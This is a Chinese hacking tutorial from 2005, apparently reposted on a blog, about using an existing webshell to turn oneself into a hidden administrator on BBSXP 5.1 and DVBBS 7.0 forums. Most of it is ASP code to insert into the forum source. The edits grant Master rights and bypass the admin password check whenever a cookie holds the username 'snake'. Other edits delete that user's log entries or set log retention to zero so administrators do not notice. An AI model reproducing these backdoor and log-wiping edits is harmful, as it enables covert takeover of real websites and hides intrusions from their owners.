放一下自己的拙作——《用Webshell做隐藏BBS管理员》

[原创]用Webshell弄一个别人看不出来的BBS管理员

文章作者:Snakehu
信息来源:邪恶八进制信息安全团队(
www.eviloctal.com

文章已经发表在2005-10期《黑客防线》
目标:通过Webshell对原文件的修改使自己变成管理员,常规情况下不会被管理员发现。
目的:方便大家,其实懂一点点asp的人都会,不过自己试,费的时间比较多。

在拿到webshell的情况下如何控制论坛呢?
这个问题好像有点多余。一般都是从论坛弄webshell,怎么会出现这种情况呢?现在的论坛做的越来越安全,在新漏洞发现之前,最新版本的论坛一般很难攻克。但是一个网站总有软肋,在菜鸟圈里很火的注入、上传漏洞,还有旁注等等都可以让我们拿到Webshell。
许多人都会问,有webshell了还怕论坛下不来?改数据就可以了。但是这样问题就来了,admin没事突然发现多了个管理员帐户,你说他怎么想?说不定来个大清查。(没准把我们的webshell也揪出来)
既然我们有了webshell,那何不在论坛上做做手脚?

1. bbsxp。
版本:偶以5.1说明

(1)成为前台Master

新建include.asp,内容如下:

QUOTE:
<%
if Request.Cookies("username")="snake" then
membercode=5
end if
%>


在setup.asp尾部添加如下代码:

QUOTE:
<!-- #include file="include.asp" -->


一定要是在尾部,如果添加在头部,那么membercode又会被还原成原来的值。
这样,你就可以成为一个"隐身"管理员了.

(2). 成为后台Master
在admin.asp里看到sub(pass)的这里(53行):

QUOTE:
session("pass")=md5(""&Request("pass")&"")
if adminpassword<>session("pass") then error2("社区管理密码错误")


这个就是后台密码验证,我们改改:

QUOTE:
if Request.Cookies("username")<>"snake" then
session("pass")=md5(""&Request("pass")&"")
if adminpassword<>session("pass") then error2("社区管理密码错误")
end if


小结一下,如果你有webshell,那就不要读数据库了,打开文件,把你不满意的密码验证都加上IF语句。控制好条件,等到你登陆后,这些验证就......

再加上这样一段:
QUOTE:
If Request.Cookies(“username”)=”snake” then
Session(“pass”)= adminpassword
End if


怎么样,进入后台随便输入一个密码。OK!进去了。
虽然别人从正常渠道看不出来你是master了.但是别忘了bbsxp的日志,既然我们有webshell,那还不好改?
在admin.asp中164行可以看到这样一句:
QUOTE:
conn.execute("delete from [log] where logtime<"&SqlNowString&"-7")
这就是日志只保存7天的原因了.我们在其后也来一句:
QUOTE:
conn.execute("delete from [log] where 'username'='snake'")
这样,每次有人登陆后台,我们的操作就Over掉啦.

2. dvbbs.

版本:以7.0 ac说明(菜之至极,手里的鸡都没有7.1,嗨!老天呐!)
(1):成为前台Master

洞网论坛大家应该非常熟悉了吧。它的权限判断是放在/inc/Dv_ClsMain.asp里完成的。得到前台管理员当然要从这里入手了。
洞网的身份标识是UserGroupID,1对应的就是管理员。所以大家在Dv_ClsMain.asp搜索UserGroupID,一路来到614-623行:

QUOTE:
Select Case UserGroupID
Case 8
    Vipuser = True
Case 3
    Boardmaster = True
Case 2
    Superboardmaster = True
Case 1
    Master = True
End Select


这就是身份判断的地方。让我们在这之前加上如下:

QUOTE:
if Request.Cookies(Forum_sn)("username")="snake" then
UserGroupID=1
end if


(2):成为后台Master
后台登陆的验证就放在admin_index.asp里。看到chklogin()里的319-342行,我们按照如下方式修改:

QUOTE:
'======================== By Snakehu
if username <> "snake" then
'======================== By Snakehu

    set rs=Dvbbs.Execute("select * from "&admintable&" where username='"&username&"' and adduser='"&dvbbs.membername&"'")
    if rs.eof and rs.bof then
        rs.close
        set rs=nothing
        Response.Redirect "showerr.asp?action=OtherErr&ErrCodes=<li>您输入的用户名和密码不正确或者您不是系统管理员。请<a href=admin_login.asp>重新输入</a>您的密码。<b>返回后请刷新登录页面后重新输入正确的信息。</b>"
        exit sub
    else
        if trim(rs("password"))<>password then
              Response.Redirect "showerr.asp?action=OtherErr&ErrCodes=<li>您输入的用户名和密码不正确或者您不是系统管理员。请<a href=admin_login.asp>重新输入</a>您的密码。<b>返回后请刷新登录页面后重新输入正确的信息。</b>"
        exit sub
        else
        session("flag")=rs("flag")
        session.timeout=45
        Dvbbs.Execute("update "&admintable&" set LastLogin="&SqlNowString&",LastLoginIP='"&ip&"' where username='"&username&"'")
        rs.close
        set rs=nothing
        response.redirect "admin_index.asp"
        end if
    end if

'======================== By Snakehu
else
    session("flag")="1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36"
        session.timeout=45
        response.redirect "admin_index.asp"
end if
'======================== By Snakehu

end sub


    解释一下,session(“flag’)是用来判断权限的,每个数字都对应后台一个版面,如果里面含有对应版面的flag就通过;否则弹出错误页面。
  由于小菜我手头没有装了7.1的肉鸡,就只好用7.0ac的实验啦。7.1的方法我想也差不多吧。只不过我记得7.1的admin_login.asp部分代码不一样,可能要麻烦大家自己改了。
  好了,现在从前台进入“管理”,输入用户名snake,密码任意。哇,终于进来了,可爱的后台!
  对于dvbbs的日志,对待方法和bbsxp差不多。就不多说了。实在不行,你把admin_log.asp里223行的
QUOTE:
(""D"",l_addtime, "&SqlNowString&") > 2
的2改称0就可以了。这里的意思是作删除操作时2天之内的日志不被删除,我们改成0就都删除了。

好了,就这样了。如果有什么错误的地方,麻烦各位在论坛上告诉我哟。偶第一次写。

 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值